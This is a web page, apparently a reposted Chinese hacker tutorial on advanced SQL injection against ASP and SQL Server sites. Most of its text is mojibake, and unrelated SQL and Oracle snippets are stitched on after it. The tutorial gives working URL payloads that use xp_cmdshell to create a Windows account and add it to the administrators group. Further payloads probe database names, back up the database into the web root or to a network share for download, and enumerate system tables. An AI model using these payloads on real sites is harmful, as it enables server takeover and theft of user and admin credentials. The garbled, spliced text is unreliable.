SQL×¢È멶´½Ó´¥
Òý×Ôhttp://www.05112.com/Article/200908/26674.html
ÍøÕ¾SQL×¢È멶´È«½Ó´¥£¨¸ß¼¶Æª£©
ÎÄÕÂÕûÀí·¢²¼£ººÚ¿Í·çÔÆ ÄÚÈݹØ×¢¶È£º
291 ¸üÐÂʱ¼ä£º2009-8-15 6:36:47
¿´ÍêÈëÃÅƪºÍ½ø½×ƪºó£¬ÉÔ¼ÓÁ·Ï°£¬ÆƽâÒ»°ãµÄÍøÕ¾ÊÇûÎÊÌâÁË¡£µ«Èç¹ûÅöµ½±íÃûÁÐÃû²Â²»µ½£¬»ò³ÌÐò×÷Õß¹ýÂËÁËһЩÌØÊâ×Ö·û£¬ÔõôÌá¸ß×¢ÈëµÄ³É¹¦ÂÊ£¿ÔõôÑùÌá¸ß²Â½âЧÂÊ£¿Çë´ó¼Ò½Ó×ÅÍùÏ¿´¸ß¼¶Æª¡£
µÚÒ»½Ú¡¢ÀûÓÃϵͳ±í×¢ÈëSQLServerÊý¾Ý¿â
¡¡¡¡SQLServerÊÇÒ»¸ö¹¦ÄÜÇ¿´óµÄÊý¾Ý¿âϵͳ£¬Óë²Ù×÷ϵͳҲÓнôÃܵÄÁªÏµ£¬Õâ¸ø¿ª·¢Õß´øÀ´Á˺ܴóµÄ·½±ã£¬µ«ÁíÒ»·½Ã棬ҲΪעÈëÕßÌṩÁËÒ»¸öÌø°å£¬ÎÒÃÇÏÈÀ´¿´¿´¼¸¸ö¾ßÌåµÄÀý×Ó£º
¡¡¡¡¢Ù http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
¡¡¡¡·ÖºÅ;ÔÚSQLServerÖбíʾ¸ô¿ªÇ°ºóÁ½¾äÓï¾ä£¬--±íʾºóÃæµÄÓï¾äΪעÊÍ£¬ËùÒÔ£¬Õâ¾äÓï¾äÔÚSQLServerÖн«±»·Ö³ÉÁ½¾äÖ´ÐУ¬ÏÈÊÇSelect³öID=1µÄ¼Ç¼£¬È»ºóÖ´Ðд洢¹ý³Ìxp_cmdshell£¬Õâ¸ö´æ´¢¹ý³ÌÓÃÓÚµ÷ÓÃϵͳÃüÁÓÚÊÇ£¬ÓÃnetÃüÁîн¨ÁËÓû§ÃûΪname¡¢ÃÜÂëΪpasswordµÄwindowsµÄÕʺţ¬½Ó×Å£º
¡¡¡¡¢Ú http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--
¡¡¡¡½«Ð½¨µÄÕʺÅname¼ÓÈë¹ÜÀíÔ±×飬²»ÓÃÁ½·ÖÖÓ£¬ÄãÒѾÄõ½ÁËϵͳ×î¸ßȨÏÞ£¡µ±È»£¬ÕâÖÖ·½·¨Ö»ÊÊÓÃÓÚÓÃsaÁ¬½ÓÊý¾Ý¿âµÄÇé¿ö£¬·ñÔò£¬ÊÇûÓÐȨÏÞµ÷ÓÃxp_cmdshellµÄ¡£
¡¡¡¡¢Û http://Site/url.asp?id=1 ;;and db_name()>0
¡¡¡¡Ç°ÃæÓиöÀàËƵÄÀý×Óand user>0£¬×÷ÓÃÊÇ»ñÈ¡Á¬½ÓÓû§Ãû£¬db_name()ÊÇÁíÒ»¸öϵͳ±äÁ¿£¬·µ»ØµÄÊÇÁ¬½ÓµÄÊý¾Ý¿âÃû¡£
¡¡¡¡¢Ü http://Site/url.asp?id=1;backup database Êý¾Ý¿âÃû to disk=’c:\inetpub\wwwroot\1.db’;--
¡¡¡¡ÕâÊÇÏ൱ºÝµÄÒ»ÕУ¬´Ó¢ÛÄõ½µÄÊý¾Ý¿âÃû£¬¼ÓÉÏijЩIIS³ö´í±©Â¶³öµÄ¾ø¶Ô·¾¶£¬½«Êý¾Ý¿â±¸·Ýµ½WebĿ¼ÏÂÃ棬ÔÙÓÃHTTP°ÑÕû¸öÊý¾Ý¿â¾ÍÍêÍêÕûÕûµÄÏÂÔØ»ØÀ´£¬ËùÓеĹÜÀíÔ±¼°Óû§ÃÜÂ붼һÀÀÎÞÒÅ£¡ÔÚ²»ÖªµÀ¾ø¶Ô·¾¶µÄʱºò£¬»¹¿ÉÒÔ±¸·Ýµ½ÍøÂçµØÖ·µÄ·½·¨£¨Èç\\202.96.xx.xx\Share\1.db£©£¬µ«³É¹¦Âʲ»¸ß¡£
¡¡¡¡¢Ý http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects wh& #101;re xtype=’U’ and status>0)>0
¡¡¡¡Ç°Ãæ˵¹ý£¬sysobjectsÊÇSQLServerµÄϵͳ±í£¬´æ´¢×ÅËùÓеıíÃû¡¢ÊÓͼ¡¢Ô¼Êø¼°ÆäËü¶ÔÏó£¬xtype=’U’ and status>0£¬±íʾÓû
Ïà¹ØÎĵµ£º
create PROCEDURE pagelist
@tablename nvarchar(50),
@fieldname nvarchar(50)='*',
@pagesize int output,--ÿҳÏÔʾ¼Ç¼ÌõÊý
@currentpage int output,--µÚ¼¸Ò³
@orderid nvarchar(50),--Ö÷¼üÅÅÐò
@sort int,--ÅÅÐò·½Ê½£¬1±íʾÉýÐò£¬0±íʾ½µÐòÅÅÁÐ
......
OracleÖеĵݹé²éѯ¿ÉÒÔÒÀ¿¿ÔöÇ¿µÄsqlÓï¾äSTART WITH ...CONNECT BY PRIORÀ´¸ã¶¨.sql 2005Öв»Ö§³Ö¸ÃÓï¾ä,ÒÔÏÂʾÀý¿ÉÒÔʵÏֵݹé²éѯ.
WITH TREE(xzdm,Prexzdm,lvl,topxzdm)
AS
(
SELECT xzdm,prexzdm,1,prexzdm as topxzdm from xzdm WHERE Prexzdm = '000000000000'
&nbs ......
½»²æ±íÓï¾äµÄʵÏÖ:
¡¡¡¡ÓÃÓÚ:½»²æ±íµÄÁÐÊýÊÇÈ·¶¨µÄ
¡¡¡¡select name,sum(case subject when 'Êýѧ' then source else 0 end) as 'Êýѧ',
¡¡¡¡sum(case subject when 'Ó¢Óï' then source else 0 end) as 'Ó¢Óï',
¡¡¡¡sum(case subject when 'ÓïÎÄ' then source else 0 end) as 'ÓïÎÄ'
¡¡¡¡from test
¡¡¡¡group by name ......
Ò»
SQLÖظ´¼Ç¼²éѯ£¨×ª×Ôhttp://blog.csdn.net/RainyLin/archive/2009/02/17/3901956.aspx£©
SQLÖظ´¼Ç¼²éѯ
1¡¢²éÕÒ±íÖжàÓàµÄÖظ´¼Ç¼£¬Öظ´¼Ç¼ÊǸù¾Ýµ¥¸ö×ֶΣ¨peopleId£©À´ÅжÏ
select * from people
where peopleId in (select peopleId from people group ......
ÈÕÆÚ£º2003 Äê 2 Ô 19 ÈÕ
Íê³É´Ë·½·¨Ö¸ÄϺó£¬ÄúÓ¦¸ÃÄܹ»£º
ÔÚ Oracle Êý¾Ý¿âÖд´½¨ VARRAY
ʹÓà oracle.sql.ARRAY Àà
´Ó Java ·ÃÎÊ VARRAY
¼ò½é
±¾ÎĵµÑÝʾÈçºÎ´Ó PL/SQL º¯Êý·µ»ØÊý×é²¢´Ó java Ó¦ÓóÌÐò·ÃÎÊËü¡£Êý×éÊÇÒ»×éÓÐÐòµÄÊý¾ÝÔªËØ¡£ VARRAY ÊÇ´óС¿É±äµÄÊý×é¡£Ëü¾ßÓÐÊý¾ÝÔªËصÄÅÅÁм¯£¬²¢ÇÒËùÓÐÔªËØÊôÓÚ ......